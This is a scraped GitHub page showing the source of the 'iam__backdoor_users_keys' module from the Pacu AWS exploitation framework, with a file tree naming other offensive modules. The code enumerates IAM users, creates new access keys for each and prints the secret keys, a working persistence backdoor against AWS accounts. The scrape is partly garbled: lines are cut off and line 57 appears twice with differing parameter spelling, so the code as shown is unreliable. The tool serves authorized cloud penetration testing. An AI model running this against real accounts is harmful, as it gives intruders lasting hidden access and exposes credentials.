
 Files

 866376c

🔍


🔍

Go to file

- > .github
- > pacu
- > core
- > modules
- > acm\_\_enum
- > api\_gateway\_\_create\_api\_keys
- > apigateway\_\_enum
- > aws\_\_enum\_account
- > aws\_\_enum\_spend
- > cfn\_\_resource\_injection
- > cloudformation\_\_download\_data
- > cloudtrail\_\_csv\_injection
- > cloudtrail\_\_download\_event\_hi...
- > cloudwatch\_\_download\_logs
- > codebuild\_\_enum
- > detection\_\_disruption
- > detection\_\_enum\_services
- > dynamodb\_\_enum
- > ebs\_\_download\_snapshots
- > ebs\_\_enum\_volumes\_snapshots
- > ebs\_\_explore\_snapshots
- > ec2\_\_backdoor\_ec2\_sec\_groups
- > ec2\_\_check\_termination\_protec...
- > ec2\_\_download\_userdata
- > ec2\_\_enum
- > ec2\_\_startup\_shell\_script
- > ecr\_\_enum
- > ecs\_\_backdoor\_task\_def
- > ecs\_\_enum
- > ecs\_\_enum\_task\_def
- > eks\_\_enum
- > elb\_\_enum\_logging
- > enum\_\_secrets
- > glue\_\_enum
- > guardduty\_\_list\_accounts
- > guardduty\_\_list\_findings

pacu / pacu / modules / iam\_\_backdoor\_users\_keys / main.py

...







 rjulian Reformat and minor linting of backdoor\_users\_keys (#314) 866376c · 2 years ago

🕒 History

CodeBlame105 lines (87 loc) · 3.98 KB

RawCopyDownloadCompare

```
1  #!/usr/bin/env python3
2  import argparse
3  from botocore.exceptions import ClientError
4
5
6  module_info = {
7      # Name of the module (should be the same as the filename)
8      "name": "iam__backdoor_users_keys",
9      # Name and any other notes about the author
10     "author": "Spencer Gietzen of Rhino Security Labs based on the idea from https://gi
11     # Category of the module. Make sure the name matches an existing category.
12     "category": "PERSIST",
13     # One liner description of the module functionality. This shows up when a user sear
14     "one_liner": "Adds API keys to other users.",
15     # Description about what the module does and how it works
16     "description": 'This module attempts to add an AWS API key to users in the account.
17     # A list of AWS services that the module utilizes during its execution
18     "services": ["IAM"],
19     # For prerequisite modules, try and see if any existing modules return the data tha
20     "prerequisite_modules": ["iam__enum_users_roles_policies_groups"],
21     # Module arguments to autocomplete when the user hits tab
22     "arguments_to_autocomplete": ["--usernames"],
23 }
24
25 parser = argparse.ArgumentParser(add_help=False, description=module_info["description"])
26
27 parser.add_argument(
28     "--usernames",
29     required=False,
30     default=None,
31     help="A comma-separated list of usernames of the users in the AWS account to backdo
32 )
33
34
35 def main(args, pacu_main):
36
37     ##### Don't modify these. They can be removed if you are not using the function.
38     args = parser.parse_args(args)
39     print = pacu_main.print
40     input = pacu_main.input
41     #####
42
43     usernames = gather_usernames(args.usernames, pacu_main)
44     summary_data = {}
45     client = pacu_main.get_boto3_client("iam")
46
47     add_key = ""
48     summary_data["Backdoored_Users_Count"] = 0
49     print("Backdoor the following users?")
50     for username in usernames:
51         if args.usernames is None:
52             add_key = input(f" {username} (y/n)? ")
53         else:
54             print(f" {username}")
55         if add_key == "y" or args.usernames is not None:
56             try:
57                 response = client.create_access_key(UserName=username)
```

- >  guardduty\_\_whitelist\_ip
- >  iam\_\_backdoor\_assume\_role
- ▼  iam\_\_backdoor\_users\_keys
  -  \_\_init\_\_.py
  -  main.py
- >  iam\_\_backdoor\_users\_password

```
57         response = client.create_access_key(Username=username)
58         print(f"    Access Key ID: {response['AccessKey']['AccessKeyId']}")
59         print(f"    Secret Key: {response['AccessKey']['SecretAccessKey']}")
60
61         summary_data["Backdoored_Users_Count"] += 1
62
63     except ClientError as error:
64         code = error.response["Error"]["Code"]
65         if code == "AccessDenied":
66             print("    FAILURE: MISSING REQUIRED AWS PERMISSIONS")
67         else:
68             print(f"    FAILURE: {code}")
69
70     return summary_data
71
72
73 ▼ def gather_usernames(usernames_cli_args, pacu_main):
74     session = pacu_main.get_active_session()
75     print = pacu_main.print
76     fetch_data = pacu_main.fetch_data
77     usernames = []
78
79     if usernames_cli_args is not None:
80         if "," in usernames_cli_args:
81             usernames = usernames_cli_args.split(",")
82         else:
83             usernames = [usernames_cli_args]
84     else:
85         if (
86             fetch_data(
87                 ["IAM", "Users"], module_info["prerequisite_modules"][0], "--users"
88             )
89             is False
90         ):
91             print("FAILURE")
92             print("  SUB-MODULE EXECUTION FAILED")
93
94         for user in session.IAM["Users"]:
95             usernames.append(user["UserName"])
96     return usernames
97
98
99 ▼ def summary(data, _pacu_main):
100     out = ""
101     if "Backdoored_Users_Count" in data:
102         out += (
103             f"  {data['Backdoored_Users_Count']} user key(s) successfully backdoored.\n"
104         )
105     return out
```